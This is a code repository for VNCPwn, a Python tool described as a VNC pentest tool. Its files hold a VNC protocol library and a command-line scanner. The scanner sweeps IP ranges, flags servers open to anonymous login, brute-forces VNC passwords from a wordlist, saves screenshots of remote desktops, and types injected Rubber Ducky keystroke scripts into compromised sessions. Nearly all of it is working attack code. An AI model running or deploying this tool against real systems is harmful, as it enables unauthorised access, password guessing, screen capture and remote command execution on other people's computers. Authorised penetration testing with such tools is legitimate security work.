├── .gitignore ├── LICENCE ├── README.md ├── keyboard.py ├── vnc.py └── vncpwn.py /.gitignore: -------------------------------------------------------------------------------- 1 | WebHashcat/WebHashcat/settings.py 2 | WebHashcat/db.sqlite3 3 | HashcatNode/*.crt 4 | HashcatNode/*.key 5 | HashcatNode/settings.ini 6 | HashcatNode/hashes/* 7 | HashcatNode/hashcatnode.db 8 | HashcatNode/hashcatnode.log 9 | Wordlist/ 10 | TODO 11 | 12 | # Byte-compiled / optimized / DLL files 13 | __pycache__/ 14 | *.py[cod] 15 | *$py.class 16 | 17 | # C extensions 18 | *.so 19 | 20 | # Distribution / packaging 21 | .Python 22 | env/ 23 | build/ 24 | develop-eggs/ 25 | dist/ 26 | downloads/ 27 | eggs/ 28 | .eggs/ 29 | lib/ 30 | lib64/ 31 | parts/ 32 | sdist/ 33 | var/ 34 | *.egg-info/ 35 | .installed.cfg 36 | *.egg 37 | 38 | # PyInstaller 39 | # Usually these files are written by a python script from a template 40 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 41 | *.manifest 42 | *.spec 43 | 44 | # Installer logs 45 | pip-log.txt 46 | pip-delete-this-directory.txt 47 | 48 | # Unit test / coverage reports 49 | htmlcov/ 50 | .tox/ 51 | .coverage 52 | .coverage.* 53 | .cache 54 | nosetests.xml 55 | coverage.xml 56 | *,cover 57 | .hypothesis/ 58 | 59 | # Translations 60 | *.mo 61 | *.pot 62 | 63 | # Django stuff: 64 | *.log 65 | local_settings.py 66 | 67 | # Flask stuff: 68 | instance/ 69 | .webassets-cache 70 | 71 | # Scrapy stuff: 72 | .scrapy 73 | 74 | # Sphinx documentation 75 | docs/_build/ 76 | 77 | # PyBuilder 78 | target/ 79 | 80 | # IPython Notebook 81 | .ipynb_checkpoints 82 | 83 | # pyenv 84 | .python-version 85 | 86 | # celery beat schedule file 87 | celerybeat-schedule 88 | 89 | # dotenv 90 | .env 91 | 92 | # virtualenv 93 | venv/ 94 | ENV/ 95 | 96 | # Spyder project settings 97 | .spyderproject 98 | 99 | # Rope project settings 100 | .ropeproject 101 | -------------------------------------------------------------------------------- /LICENCE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Hegusung 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VNCPwn 2 | VNC pentest tool with bruteforce and ducky script execution features 3 | 4 | VNCPwn is a VNC pentest tool writen in Python 5 | It has the following features 6 | * Protocol detection 7 | * Authentication (works also with VNC servers which requires no authentication) 8 | * Screenshot 9 | * Ducky script execution 10 | 11 | The tool can be used as it is or you can implement it in your own set of tools by using the library (vnc.py) 12 | -------------------------------------------------------------------------------- /keyboard.py: -------------------------------------------------------------------------------- 1 | 2 | key_codes = { 3 | "XK_space": 0x0020, # U+0020 SPACE 4 | "XK_exclam": 0x0021, # U+0021 EXCLAMATION MARK 5 | "XK_quotedbl": 0x0022, # U+0022 QUOTATION MARK 6 | "XK_numbersign": 0x0023, # U+0023 NUMBER SIGN 7 | "XK_dollar": 0x0024, # U+0024 DOLLAR SIGN 8 | "XK_percent": 0x0025, # U+0025 PERCENT SIGN 9 | "XK_ampersand": 0x0026, # U+0026 AMPERSAND 10 | "XK_apostrophe": 0x0027, # U+0027 APOSTROPHE 11 | "XK_quoteright": 0x0027, # deprecated 12 | "XK_parenleft": 0x0028, # U+0028 LEFT PARENTHESIS 13 | "XK_parenright": 0x0029, # U+0029 RIGHT PARENTHESIS 14 | "XK_asterisk": 0x002a, # U+002A ASTERISK 15 | "XK_plus": 0x002b, # U+002B PLUS SIGN 16 | "XK_comma": 0x002c, # U+002C COMMA 17 | "XK_minus": 0x002d, # U+002D HYPHEN-MINUS 18 | "XK_period": 0x002e, # U+002E FULL STOP 19 | "XK_slash": 0x002f, # U+002F SOLIDUS 20 | "XK_0": 0x0030, # U+0030 DIGIT ZERO 21 | "XK_1": 0x0031, # U+0031 DIGIT ONE 22 | "XK_2": 0x0032, # U+0032 DIGIT TWO 23 | "XK_3": 0x0033, # U+0033 DIGIT THREE 24 | "XK_4": 0x0034, # U+0034 DIGIT FOUR 25 | "XK_5": 0x0035, # U+0035 DIGIT FIVE 26 | "XK_6": 0x0036, # U+0036 DIGIT SIX 27 | "XK_7": 0x0037, # U+0037 DIGIT SEVEN 28 | "XK_8": 0x0038, # U+0038 DIGIT EIGHT 29 | "XK_9": 0x0039, # U+0039 DIGIT NINE 30 | "XK_colon": 0x003a, # U+003A COLON 31 | "XK_semicolon": 0x003b, # U+003B SEMICOLON 32 | "XK_less": 0x003c, # U+003C LESS-THAN SIGN 33 | "XK_equal": 0x003d, # U+003D EQUALS SIGN 34 | "XK_greater": 0x003e, # U+003E GREATER-THAN SIGN 35 | "XK_question": 0x003f, # U+003F QUESTION MARK 36 | "XK_at": 0x0040, # U+0040 COMMERCIAL AT 37 | "XK_A": 0x0041, # U+0041 LATIN CAPITAL LETTER A 38 | "XK_B": 0x0042, # U+0042 LATIN CAPITAL LETTER B 39 | "XK_C": 0x0043, # U+0043 LATIN CAPITAL LETTER C 40 | "XK_D": 0x0044, # U+0044 LATIN CAPITAL LETTER D 41 | "XK_E": 0x0045, # U+0045 LATIN CAPITAL LETTER E 42 | "XK_F": 0x0046, # U+0046 LATIN CAPITAL LETTER F 43 | "XK_G": 0x0047, # U+0047 LATIN CAPITAL LETTER G 44 | "XK_H": 0x0048, # U+0048 LATIN CAPITAL LETTER H 45 | "XK_I": 0x0049, # U+0049 LATIN CAPITAL LETTER I 46 | "XK_J": 0x004a, # U+004A LATIN CAPITAL LETTER J 47 | "XK_K": 0x004b, # U+004B LATIN CAPITAL LETTER K 48 | "XK_L": 0x004c, # U+004C LATIN CAPITAL LETTER L 49 | "XK_M": 0x004d, # U+004D LATIN CAPITAL LETTER M 50 | "XK_N": 0x004e, # U+004E LATIN CAPITAL LETTER N 51 | "XK_O": 0x004f, # U+004F LATIN CAPITAL LETTER O 52 | "XK_P": 0x0050, # U+0050 LATIN CAPITAL LETTER P 53 | "XK_Q": 0x0051, # U+0051 LATIN CAPITAL LETTER Q 54 | "XK_R": 0x0052, # U+0052 LATIN CAPITAL LETTER R 55 | "XK_S": 0x0053, # U+0053 LATIN CAPITAL LETTER S 56 | "XK_T": 0x0054, # U+0054 LATIN CAPITAL LETTER T 57 | "XK_U": 0x0055, # U+0055 LATIN CAPITAL LETTER U 58 | "XK_V": 0x0056, # U+0056 LATIN CAPITAL LETTER V 59 | "XK_W": 0x0057, # U+0057 LATIN CAPITAL LETTER W 60 | "XK_X": 0x0058, # U+0058 LATIN CAPITAL LETTER X 61 | "XK_Y": 0x0059, # U+0059 LATIN CAPITAL LETTER Y 62 | "XK_Z": 0x005a, # U+005A LATIN CAPITAL LETTER Z 63 | "XK_bracketleft": 0x005b, # U+005B LEFT SQUARE BRACKET 64 | "XK_backslash": 0x005c, # U+005C REVERSE SOLIDUS 65 | "XK_bracketright": 0x005d, # U+005D RIGHT SQUARE BRACKET 66 | "XK_asciicircum": 0x005e, # U+005E CIRCUMFLEX ACCENT 67 | "XK_underscore": 0x005f, # U+005F LOW LINE 68 | "XK_grave": 0x0060, # U+0060 GRAVE ACCENT 69 | "XK_quoteleft": 0x0060, # deprecated 70 | "XK_a": 0x0061, # U+0061 LATIN SMALL LETTER A 71 | "XK_b": 0x0062, # U+0062 LATIN SMALL LETTER B 72 | "XK_c": 0x0063, # U+0063 LATIN SMALL LETTER C 73 | "XK_d": 0x0064, # U+0064 LATIN SMALL LETTER D 74 | "XK_e": 0x0065, # U+0065 LATIN SMALL LETTER E 75 | "XK_f": 0x0066, # U+0066 LATIN SMALL LETTER F 76 | "XK_g": 0x0067, # U+0067 LATIN SMALL LETTER G 77 | "XK_h": 0x0068, # U+0068 LATIN SMALL LETTER H 78 | "XK_i": 0x0069, # U+0069 LATIN SMALL LETTER I 79 | "XK_j": 0x006a, # U+006A LATIN SMALL LETTER J 80 | "XK_k": 0x006b, # U+006B LATIN SMALL LETTER K 81 | "XK_l": 0x006c, # U+006C LATIN SMALL LETTER L 82 | "XK_m": 0x006d, # U+006D LATIN SMALL LETTER M 83 | "XK_n": 0x006e, # U+006E LATIN SMALL LETTER N 84 | "XK_o": 0x006f, # U+006F LATIN SMALL LETTER O 85 | "XK_p": 0x0070, # U+0070 LATIN SMALL LETTER P 86 | "XK_q": 0x0071, # U+0071 LATIN SMALL LETTER Q 87 | "XK_r": 0x0072, # U+0072 LATIN SMALL LETTER R 88 | "XK_s": 0x0073, # U+0073 LATIN SMALL LETTER S 89 | "XK_t": 0x0074, # U+0074 LATIN SMALL LETTER T 90 | "XK_u": 0x0075, # U+0075 LATIN SMALL LETTER U 91 | "XK_v": 0x0076, # U+0076 LATIN SMALL LETTER V 92 | "XK_w": 0x0077, # U+0077 LATIN SMALL LETTER W 93 | "XK_x": 0x0078, # U+0078 LATIN SMALL LETTER X 94 | "XK_y": 0x0079, # U+0079 LATIN SMALL LETTER Y 95 | "XK_z": 0x007a, # U+007A LATIN SMALL LETTER Z 96 | "XK_braceleft": 0x007b, # U+007B LEFT CURLY BRACKET 97 | "XK_bar": 0x007c, # U+007C VERTICAL LINE 98 | "XK_braceright": 0x007d, # U+007D RIGHT CURLY BRACKET 99 | "XK_asciitilde": 0x007e, # U+007E TILDE 100 | 101 | "XK_BackSpace": 0xff08, # Back space, back char 102 | "XK_Tab": 0xff09, 103 | "XK_Linefeed": 0xff0a, # Linefeed, LF 104 | "XK_Clear": 0xff0b, 105 | "XK_Return": 0xff0d, # Return, enter 106 | "XK_Pause": 0xff13, # Pause, hold 107 | "XK_Scroll_Lock": 0xff14, 108 | "XK_Sys_Req": 0xff15, 109 | "XK_Escape": 0xff1b, 110 | "XK_Delete": 0xffff, # Delete, rubout 111 | 112 | "XK_Home": 0xff50, 113 | "XK_Left": 0xff51, # Move left, left arrow 114 | "XK_Up": 0xff52, # Move up, up arrow 115 | "XK_Right": 0xff53, # Move right, right arrow 116 | "XK_Down": 0xff54, # Move down, down arrow 117 | "XK_Prior": 0xff55, # Prior, previous 118 | "XK_Page_Up": 0xff55, 119 | "XK_Next": 0xff56, # Next 120 | "XK_Page_Down": 0xff56, 121 | "XK_End": 0xff57, # EOL 122 | "XK_Begin": 0xff58, # BOL 123 | 124 | "XK_Shift_L": 0xffe1, # Left shift 125 | "XK_Shift_R": 0xffe2, # Right shift 126 | "XK_Control_L": 0xffe3, # Left control 127 | "XK_Control_R": 0xffe4, # Right control 128 | "XK_Caps_Lock": 0xffe5, # Caps lock 129 | "XK_Shift_Lock": 0xffe6, # Shift lock 130 | 131 | "XK_Meta_L": 0xffe7, # Left meta 132 | "XK_Meta_R": 0xffe8, # Right meta 133 | "XK_Alt_L": 0xffe9, # Left alt 134 | "XK_Alt_R": 0xffea, # Right alt 135 | "XK_Super_L": 0xffeb, # Left super 136 | "XK_Super_R": 0xffec, # Right super 137 | "XK_Hyper_L": 0xffed, # Left hyper 138 | "XK_Hyper_R": 0xffee, # Right hyper 139 | } 140 | -------------------------------------------------------------------------------- /vnc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Author: Hegusung 4 | 5 | import socket 6 | import logging 7 | from time import sleep 8 | from Crypto.Cipher import DES 9 | from PIL import Image, ImageDraw 10 | 11 | from keyboard import key_codes 12 | 13 | def socket_receive(sock, size): 14 | res = b"" 15 | while len(res) < size: 16 | res += sock.recv(size-len(res)) 17 | 18 | return res 19 | 20 | class VNCException(Exception): 21 | pass 22 | 23 | class VNC(object): 24 | 25 | def __init__(self, ip, port, timeout): 26 | 27 | self.ip = ip 28 | self.port = port 29 | self.timeout = timeout 30 | 31 | def connect(self): 32 | self.sock = socket.create_connection((self.ip, self.port), timeout=self.timeout) 33 | 34 | # == Banner == 35 | 36 | resp = socket_receive(self.sock, 12) 37 | 38 | if resp[:3] != b"RFB": 39 | raise Exception("Wrong protocol") 40 | 41 | self.version = resp[:11].decode('ascii') 42 | 43 | logging.info("Server version : %s" % self.version) 44 | 45 | major, minor = int(self.version[6]), int(self.version[10]) 46 | 47 | if (major, minor) in [(3, 8), (4, 1)]: 48 | proto = b'RFB 003.008\n' 49 | elif (major, minor) == (3, 7): 50 | proto = b'RFB 003.007\n' 51 | else: 52 | proto = b'RFB 003.003\n' 53 | 54 | self.sock.sendall(proto) 55 | 56 | sleep(0.5) 57 | 58 | # == Security types == 59 | 60 | 61 | self.supported_security_types = [] 62 | 63 | if major == 4 or (major, minor) in [(3, 7), (3, 8)]: 64 | resp = socket_receive(self.sock, 1) 65 | 66 | if len(resp) == 0: 67 | raise VNCException("Protocol error") 68 | 69 | nb_security_types = ord(resp) 70 | 71 | if nb_security_types == 0: 72 | resp = socket_receive(self.sock, 4) 73 | 74 | msg_len = int.from_bytes(resp, byteorder="big") 75 | resp = socket_receive(self.sock, msg_len) 76 | 77 | msg = resp.decode("utf-8") 78 | raise VNCException(msg) 79 | 80 | logging.info("%s Security types" % nb_security_types) 81 | 82 | resp = socket_receive(self.sock, nb_security_types) 83 | 84 | for index in range(0, nb_security_types): 85 | sec_type_id = int(resp[index]) 86 | self.supported_security_types.append(security_type_from_id(sec_type_id)) 87 | logging.info("> %s" % security_type_from_id(sec_type_id)) 88 | else: 89 | resp = socket_receive(self.sock, 4) 90 | 91 | if len(resp) == 0: 92 | raise VNCException("Protocol error") 93 | 94 | sec_type_id = ord(resp[3:4]) 95 | 96 | if sec_type_id == 0: 97 | resp = socket_receive(self.sock, 4) 98 | 99 | msg_len = int.from_bytes(resp, byteorder="big") 100 | resp = socket_receive(self.sock, msg_len) 101 | 102 | msg = resp.decode("utf-8") 103 | raise VNCException(msg) 104 | 105 | self.supported_security_types.append(security_type_from_id(sec_type_id)) 106 | logging.info("> %s" % security_type_from_id(sec_type_id)) 107 | 108 | def auth(self, auth_type, password=None): 109 | 110 | major, minor = int(self.version[6]), int(self.version[10]) 111 | 112 | if auth_type == "None": 113 | if major == 4 or (major == 3 and minor >= 8): 114 | self.sock.sendall(b"\x01") 115 | self.authenticated = True 116 | elif major == 3 and minor == 7: 117 | self.sock.sendall(b"\x01") 118 | self.authenticated = True 119 | return 0, 'OK' 120 | else: 121 | self.authenticated = True 122 | return 0, 'OK' 123 | elif auth_type == "VNC Authentication": 124 | if major == 4 or (major == 3 and minor >= 7): 125 | self.sock.sendall(b"\x02") 126 | 127 | challenge = socket_receive(self.sock, 16) 128 | 129 | if len(challenge) != 16: 130 | raise VNCException("Wrong challenge length") 131 | 132 | logging.debug('challenge: %s' % challenge) 133 | password = password.ljust(8, '\x00')[:8] # make sure it is 8 chars long, zero padded 134 | 135 | key = self.gen_key(password) 136 | logging.debug('key: %s' % key) 137 | 138 | des = DES.new(key, DES.MODE_ECB) 139 | enc = des.encrypt(challenge) 140 | 141 | logging.debug('enc: %s' % enc) 142 | self.sock.sendall(enc) 143 | 144 | resp = socket_receive(self.sock, 4) 145 | logging.debug('resp: %s' % repr(resp)) 146 | 147 | response_code = ord(resp[3:4]) 148 | mesg = resp[8:].decode('ascii', 'ignore') 149 | 150 | if response_code == 0: 151 | self.authenticated = True 152 | return response_code, 'OK' 153 | else: 154 | if major == 4 or (major == 3 and minor >= 8): 155 | resp = socket_receive(self.sock, 4) 156 | 157 | msg_len = int.from_bytes(resp, byteorder="big") 158 | resp = socket_receive(self.sock, msg_len) 159 | 160 | msg = resp.decode("utf-8") 161 | return response_code, msg 162 | 163 | else: 164 | if response_code == 1: 165 | return response_code, "failed" 166 | elif response_code == 2: 167 | return response_code, "failed, too many attempts" 168 | else: 169 | raise VNCException('Unknown response: %d' % (code)) 170 | 171 | def gen_key(self, key): 172 | newkey = [] 173 | for ki in range(len(key)): 174 | bsrc = ord(key[ki]) 175 | btgt = 0 176 | for i in range(8): 177 | if bsrc & (1 << i): 178 | btgt = btgt | (1 << 7-i) 179 | newkey.append(btgt) 180 | return bytes(newkey) 181 | 182 | def init(self): 183 | 184 | self.sock.sendall(b'\x01') 185 | 186 | resp = socket_receive(self.sock, 20) 187 | 188 | self.frame_width = int.from_bytes(resp[:2], "big") 189 | self.frame_height = int.from_bytes(resp[2:4], "big") 190 | 191 | resp = socket_receive(self.sock, 4) 192 | name_len = int.from_bytes(resp, "big") 193 | resp = socket_receive(self.sock, name_len) 194 | self.name = resp.decode() 195 | 196 | logging.info("Server name: %s" % self.name) 197 | 198 | # set pixel mode 199 | 200 | payload = b"\x00" 201 | payload += b"\x00\x00\x00" # Padding 202 | payload += (32).to_bytes(1, byteorder="big") # Pixel size 203 | payload += (24).to_bytes(1, byteorder="big") # Depth 204 | payload += (0).to_bytes(1, byteorder="big") # Big endian flag 205 | payload += (1).to_bytes(1, byteorder="big") # True color flag 206 | payload += (255).to_bytes(2, byteorder="big") # Red maximum 207 | payload += (255).to_bytes(2, byteorder="big") # Green maximum 208 | payload += (255).to_bytes(2, byteorder="big") # Blue maximum 209 | payload += (0).to_bytes(1, byteorder="big") # Red shift 210 | payload += (8).to_bytes(1, byteorder="big") # Green shift 211 | payload += (16).to_bytes(1, byteorder="big") # Blue shift 212 | payload += b"\x00\x00\x00" # Padding 213 | self.sock.sendall(payload) 214 | 215 | # set encoding 216 | 217 | payload = b"\x02" 218 | payload += b"\x00" # Padding 219 | payload += (1).to_bytes(2, byteorder="big") # Number encoding 220 | payload += (0).to_bytes(4, byteorder="big") # - Raw 221 | self.sock.sendall(payload) 222 | 223 | 224 | def typeSpecial(self, key_tuple): 225 | 226 | for key in key_tuple: 227 | 228 | # press all key in tuple 229 | keycode = getSpecialKeyCode(key) 230 | 231 | pressed_payload = b"\x04" 232 | pressed_payload += b"\x01" 233 | pressed_payload += b"\x00\x00" 234 | pressed_payload += bytes([0, 0, int((keycode/0x100)%0x100), int(keycode % 0x100)]) 235 | self.sock.sendall(pressed_payload) 236 | 237 | for key in key_tuple: 238 | # release all key in tuple 239 | keycode = getSpecialKeyCode(key) 240 | 241 | release_payload = b"\x04" 242 | release_payload += b"\x00" 243 | release_payload += b"\x00\x00" 244 | release_payload += bytes([0, 0, int((keycode/0x100)%0x100), int(keycode % 0x100)]) 245 | self.sock.sendall(release_payload) 246 | 247 | def typeString(self, message): 248 | 249 | for char in message: 250 | 251 | pressed_payload = b"\x04" 252 | pressed_payload += b"\x01" 253 | pressed_payload += b"\x00\x00" 254 | pressed_payload += bytes([0, 0, 0, ord(char)]) 255 | 256 | self.sock.sendall(pressed_payload) 257 | 258 | release_payload = b"\x04" 259 | release_payload += b"\x00" 260 | release_payload += b"\x00\x00" 261 | release_payload += bytes([0, 0, 0, ord(char)]) 262 | 263 | self.sock.sendall(release_payload) 264 | 265 | def screenshot(self): 266 | 267 | self.typeSpecial(("escape",)) 268 | 269 | sleep(1) 270 | 271 | # get screenshot 272 | 273 | screenshot = Image.new("RGBA", (self.frame_width, self.frame_height)) 274 | 275 | draw = ImageDraw.Draw(screenshot) 276 | 277 | payload = b"\x03" 278 | payload += b"\x00" # Padding 279 | payload += (0).to_bytes(2, byteorder="big") # X offset 280 | payload += (0).to_bytes(2, byteorder="big") # Y offset 281 | payload += (self.frame_width).to_bytes(2, byteorder="big") # Width 282 | payload += (self.frame_height).to_bytes(2, byteorder="big") # Height 283 | self.sock.sendall(payload) 284 | 285 | res = socket_receive(self.sock, 4) 286 | rect_nb = int.from_bytes(res[2:4], byteorder="big") 287 | 288 | for _ in range(rect_nb): 289 | res = socket_receive(self.sock, 12) 290 | rect_x = int.from_bytes(res[:2], byteorder="big") 291 | rect_y = int.from_bytes(res[2:4], byteorder="big") 292 | rect_width = int.from_bytes(res[4:6], byteorder="big") 293 | rect_height = int.from_bytes(res[6:8], byteorder="big") 294 | encoding = int.from_bytes(res[8:12], byteorder="big") 295 | 296 | if encoding != 0: 297 | raise VNCException("Unsupported encoding") 298 | 299 | res = socket_receive(self.sock, rect_width*rect_height*4) 300 | 301 | rect = Image.frombytes("RGBA", (rect_width, rect_height), res) 302 | 303 | screenshot.paste(rect, box=(rect_x, rect_y, rect_x+rect_width, rect_y+rect_height)) 304 | 305 | return screenshot 306 | 307 | def disconnect(self): 308 | self.sock.close() 309 | 310 | def security_type_from_id(sec_type_id): 311 | if sec_type_id == 0: 312 | return "Invalid" 313 | elif sec_type_id == 1: 314 | return "None" 315 | elif sec_type_id == 2: 316 | return "VNC Authentication" 317 | elif sec_type_id >= 3 and sec_type_id <= 15: 318 | return "RealVNC" 319 | elif sec_type_id == 16: 320 | return "Tight" 321 | elif sec_type_id == 17: 322 | return "Ultra" 323 | elif sec_type_id == 18: 324 | return "TLS" 325 | elif sec_type_id == 19: 326 | return "VeNCrypt" 327 | elif sec_type_id == 20: 328 | return "GTK-VNC SASL" 329 | elif sec_type_id == 21: 330 | return "MD5 hash authentication" 331 | elif sec_type_id == 22: 332 | return "Colin Dean xvp" 333 | elif sec_type_id == 23: 334 | return "Secure Tunnel" 335 | elif sec_type_id == 24: 336 | return "Integrated SSH" 337 | elif sec_type_id >= 25 and sec_type_id <= 29: 338 | return "Unassigned" 339 | elif sec_type_id >= 30 and sec_type_id <= 35: 340 | return "Apple Inc." 341 | elif sec_type_id >= 36 and sec_type_id <= 127: 342 | return "Unassigned" 343 | elif sec_type_id >= 128 and sec_type_id <= 255: 344 | return "RealVNC" 345 | 346 | def getSpecialKeyCode(key): 347 | 348 | key_lower = key.lower() 349 | 350 | if key_lower in ["gui", "super", "windows"]: 351 | return key_codes["XK_Super_L"] 352 | if key_lower in ["alt"]: 353 | return key_codes["XK_Alt_L"] 354 | if key_lower in ["shift"]: 355 | return key_codes["XK_Shift_L"] 356 | if key_lower in ["control", "ctrl"]: 357 | return key_codes["XK_Control_L"] 358 | if key_lower in ["enter"]: 359 | return key_codes["XK_Return"] 360 | if key_lower in ["tab"]: 361 | return key_codes["XK_Tab"] 362 | if key_lower in ["backspace"]: 363 | return key_codes["XK_BackSpace"] 364 | if key_lower in ["clear"]: 365 | return key_codes["XK_Clear"] 366 | if key_lower in ["delete", "del"]: 367 | return key_codes["XK_Delete"] 368 | if key_lower in ["escape"]: 369 | return key_codes["XK_Escape"] 370 | if key_lower in ["space"]: 371 | return key_codes["XK_space"] 372 | if key_lower in ["downarrow", "down"]: 373 | return key_codes["XK_Down"] 374 | if key_lower in ["uparrow", "up"]: 375 | return key_codes["XK_Up"] 376 | elif len(key) == 1: 377 | return ord(key) 378 | else: 379 | return key_codes["XK_%s" % key] 380 | 381 | -------------------------------------------------------------------------------- /vncpwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # Author: Hegusung 4 | 5 | import argparse 6 | import traceback 7 | import socket 8 | from time import sleep 9 | from datetime import datetime 10 | from ipaddress import IPv4Network 11 | 12 | from vnc import VNC, VNCException 13 | 14 | def process(ip, port, timeout, password_list, ducky_script): 15 | 16 | try: 17 | print("Connecting to %s:%d" % (ip, port)) 18 | vnc = VNC(ip, port, timeout) 19 | try: 20 | vnc.connect() 21 | except VNCException as e: 22 | print("%s:%d\t%s" % (ip, port, vnc.version)) 23 | raise e 24 | 25 | print("%s:%d\t%s" % (ip, port, vnc.version)) 26 | 27 | if "None" in vnc.supported_security_types: 28 | print("%s:%d\t%s" % (ip, port, "Anonymous authentication available")) 29 | 30 | code, msg = vnc.auth("None") 31 | 32 | if code == 0: 33 | vnc.init() 34 | 35 | # take screenshot 36 | image = vnc.screenshot() 37 | image.save("%s_%d_%s.jpg" % (ip, port, str(datetime.utcnow()))) 38 | print("%s:%d\t%s" % (ip, port, "Screenshot taken")) 39 | 40 | # execute ducky script 41 | if ducky_script != None: 42 | run_ducky(vnc, ducky_script) 43 | 44 | elif "VNC Authentication" in vnc.supported_security_types: 45 | for password in password_list: 46 | vnc = VNC(ip, port, timeout) 47 | vnc.connect() 48 | 49 | print("%s:%d\t%s" % (ip, port, "Trying password : %s" % password)) 50 | code, msg = vnc.auth("VNC Authentication", password=password) 51 | 52 | if code == 0: 53 | vnc.init() 54 | 55 | print("%s:%d\t%s" % (ip, port, "Password found : %s" % password)) 56 | 57 | # take screenshot 58 | image = vnc.screenshot() 59 | image.save("%s_%d_%s.jpg" % (ip, port, str(datetime.utcnow()))) 60 | print("%s:%d\t%s" % (ip, port, "Screenshot taken")) 61 | 62 | # execute ducky script 63 | if ducky_script != None: 64 | run_ducky(vnc, ducky_script) 65 | 66 | break 67 | elif code == 2: 68 | break 69 | vnc.disconnect() 70 | else: 71 | print("%s:%d\t%s" % (ip, port, "No supported authentication mechanism")) 72 | 73 | vnc.disconnect() 74 | 75 | except socket.timeout: 76 | pass 77 | except OSError: 78 | pass 79 | except ConnectionRefusedError: 80 | pass 81 | except VNCException as e: 82 | print("%s:%d\t%s" % (ip, port, e)) 83 | except Exception as e: 84 | traceback.print_exc() 85 | 86 | def run_ducky(vnc, ducky_script): 87 | 88 | with open(ducky_script) as f: 89 | script = f.read() 90 | 91 | instr_list = getInstructions(script) 92 | 93 | for instr in instr_list: 94 | if instr[0] == 'REM': 95 | continue 96 | elif instr[0] == 'DELAY': 97 | sleep(int(instr[1])/1000) 98 | elif instr[0] == 'STRING': 99 | vnc.typeString(instr[1]) 100 | else: 101 | keys = instr[0].split('-') 102 | if instr[1] != None: 103 | keys.append(instr[1]) 104 | vnc.typeSpecial(tuple(keys)) 105 | 106 | 107 | def getInstructions(strData): 108 | #Instrution dic 109 | instruntions_dic = {"WINDOWS","GUI","CONTROL","CTRL","ALT","SHIFT","CTRL-ALT","CTRL-SHIFT","COMMAND-OPTION","ALT-SHIFT","ALT-TAB","DELAY","DEFAULT-DELAY","DEFAULTDELAY","DEFAULT_DELAY","ENTER","REPEAT","REM","STRING","ESCAPE","DEL","BREAK","DOWN","UP","DOWNARROW","UPARROW","LEFTARROW","RIGHTARROW","MENU","PLAY","PAUSE","STOP","MUTE","VULUMEUP","VOLUMEDOWN","SCROLLLOCK","NUMLOCK","CAPSLOCK"} 110 | 111 | instructions = []; last_ins = ""; delay = -1; current_ins = [] 112 | # Handle REPEAT and DEFAULT-DELAY instructions 113 | for line in strData.split("\n"): 114 | line = line.rstrip() 115 | # Ignore empty lines 116 | if line != '\n' and line != '': 117 | # Ignore the comments 118 | if not line.startswith("//"): 119 | # Check if the command has any arguments 120 | if " " in line: 121 | current_ins = line.strip().split(" ", 1) 122 | if current_ins[0] not in instruntions_dic: 123 | print("Instrution not found : %s" % line.strip()) 124 | continue 125 | else: 126 | if line.strip() in instruntions_dic: 127 | current_ins = [line.strip(), None] 128 | #instructions.append(current_ins) 129 | else: 130 | print("Instrution not found : %s" % line.strip()) 131 | continue 132 | 133 | if current_ins[0] == "REPEAT": 134 | for i in range(int(current_ins[1])): 135 | if last_ins != "": 136 | instructions.append(last_ins) 137 | if delay != -1: 138 | instructions.append(["DELAY", delay]) 139 | else: 140 | raise Exception("ERROR: REPEAT can't be the first instruction") 141 | elif current_ins[0] == "DEFAULT_DELAY" or current_ins[0] == "DEFAULTDELAY" or current_ins[0] == "DEFAULT-DELAY": 142 | delay = int(current_ins[1]) 143 | else: 144 | instructions.append(current_ins) 145 | if delay != -1: 146 | instructions.append(["DELAY", delay]) 147 | # Keep the previous instruction in case we need to repeat it 148 | last_ins = current_ins 149 | if delay != -1: 150 | instructions.pop() 151 | 152 | return instructions 153 | 154 | def main(): 155 | parser = argparse.ArgumentParser(description='Tool to exploit VNC service', formatter_class=argparse.ArgumentDefaultsHelpFormatter) 156 | parser.add_argument('ip_range', help='ip or ip range', nargs='?', default=None) 157 | parser.add_argument('-H', help='Host:port file', dest='host_file', default=None) 158 | parser.add_argument('-p', help='port', dest='port', default=5900, type=int) 159 | parser.add_argument('--pass', help='password', dest='password', default=None) 160 | parser.add_argument('-P', help='passwords file for bruteforce', dest='password_file', default=None) 161 | parser.add_argument('-t', help='timeout', nargs='?', default=15, type=int, dest='timeout') 162 | parser.add_argument('--ducky', help='ducky script to execute', dest='ducky', default=None) 163 | 164 | args = parser.parse_args() 165 | 166 | port = args.port 167 | 168 | password_list = [] 169 | 170 | if args.password != None: 171 | password_list.append(args.password) 172 | 173 | if args.password_file != None: 174 | with open(args.password_file) as f: 175 | for line in f: 176 | line = line.rstrip() 177 | password_list.append(line) 178 | 179 | timeout = args.timeout 180 | ducky_script = args.ducky 181 | 182 | if args.ip_range != None: 183 | for ip in IPv4Network(args.ip_range): 184 | process(str(ip), port, timeout, password_list, ducky_script) 185 | 186 | if args.host_file != None: 187 | with open(args.host_file) as f: 188 | for line in f: 189 | host_port = line.split()[0] 190 | process(host_port.split(":")[0], int(host_port.split(":")[1]), timeout, password_list, ducky_script) 191 | 192 | 193 | 194 | if __name__ == "__main__": 195 | main() 196 | 197 | 198 | --------------------------------------------------------------------------------